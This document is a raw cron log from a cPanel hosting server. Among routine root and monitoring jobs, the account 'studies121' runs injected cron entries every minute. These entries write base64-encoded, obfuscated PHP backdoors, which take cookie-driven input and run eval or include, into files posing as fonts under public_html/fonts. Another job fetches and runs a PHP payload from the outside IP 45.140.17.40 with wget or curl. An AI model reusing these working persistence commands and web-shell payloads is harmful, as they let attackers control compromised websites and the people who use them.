Sep  6 02:18:01 ip-184-168-122-23 CROND[29024]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:18:01 ip-184-168-122-23 CROND[29025]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:19:02 ip-184-168-122-23 CROND[29104]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:19:02 ip-184-168-122-23 CROND[29106]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:19:02 ip-184-168-122-23 CROND[29105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:19:02 ip-184-168-122-23 CROND[29107]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:20:01 ip-184-168-122-23 CROND[29199]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:20:01 ip-184-168-122-23 CROND[29200]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:20:01 ip-184-168-122-23 CROND[29205]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 02:20:01 ip-184-168-122-23 CROND[29206]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 02:20:01 ip-184-168-122-23 CROND[29203]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:20:01 ip-184-168-122-23 CROND[29204]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 02:20:01 ip-184-168-122-23 CROND[29202]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:20:01 ip-184-168-122-23 CROND[29207]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 02:20:01 ip-184-168-122-23 CROND[29208]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 02:21:01 ip-184-168-122-23 CROND[29403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:21:01 ip-184-168-122-23 CROND[29405]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:21:01 ip-184-168-122-23 CROND[29406]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:21:01 ip-184-168-122-23 CROND[29409]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:22:01 ip-184-168-122-23 CROND[29500]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:22:01 ip-184-168-122-23 CROND[29504]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:22:01 ip-184-168-122-23 CROND[29503]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 02:22:01 ip-184-168-122-23 CROND[29502]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:22:01 ip-184-168-122-23 CROND[29501]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:23:01 ip-184-168-122-23 CROND[29604]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:23:01 ip-184-168-122-23 CROND[29606]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:23:01 ip-184-168-122-23 CROND[29605]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:23:01 ip-184-168-122-23 CROND[29607]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:24:01 ip-184-168-122-23 CROND[29708]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 02:24:01 ip-184-168-122-23 CROND[29710]: (root) CMD (/usr/local/cpanel/whostmgr/docroot/cgi/cpaddons_report.pl --notify)
Sep  6 02:24:01 ip-184-168-122-23 CROND[29709]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:24:01 ip-184-168-122-23 CROND[29713]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:24:01 ip-184-168-122-23 CROND[29712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:24:01 ip-184-168-122-23 CROND[29711]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:25:01 ip-184-168-122-23 CROND[29843]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:25:01 ip-184-168-122-23 CROND[29847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:25:01 ip-184-168-122-23 CROND[29848]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:25:01 ip-184-168-122-23 CROND[29849]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  6 02:25:01 ip-184-168-122-23 CROND[29845]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:25:01 ip-184-168-122-23 CROND[29846]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 02:25:01 ip-184-168-122-23 CROND[29850]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 02:26:01 ip-184-168-122-23 CROND[29947]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep  6 02:26:01 ip-184-168-122-23 CROND[29950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:26:01 ip-184-168-122-23 CROND[29951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:26:01 ip-184-168-122-23 CROND[29954]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 02:26:01 ip-184-168-122-23 CROND[29955]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:26:01 ip-184-168-122-23 CROND[29956]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep  6 02:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep  6 02:27:01 ip-184-168-122-23 CROND[30301]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:27:01 ip-184-168-122-23 CROND[30302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:27:01 ip-184-168-122-23 CROND[30304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:27:01 ip-184-168-122-23 CROND[30303]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:28:01 ip-184-168-122-23 CROND[30412]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:28:01 ip-184-168-122-23 CROND[30414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:28:01 ip-184-168-122-23 CROND[30416]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:28:01 ip-184-168-122-23 CROND[30415]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:28:01 ip-184-168-122-23 CROND[30413]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 02:29:01 ip-184-168-122-23 CROND[30518]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:29:01 ip-184-168-122-23 CROND[30521]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:29:01 ip-184-168-122-23 CROND[30519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:29:01 ip-184-168-122-23 CROND[30520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:30:02 ip-184-168-122-23 CROND[30639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:30:02 ip-184-168-122-23 CROND[30636]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
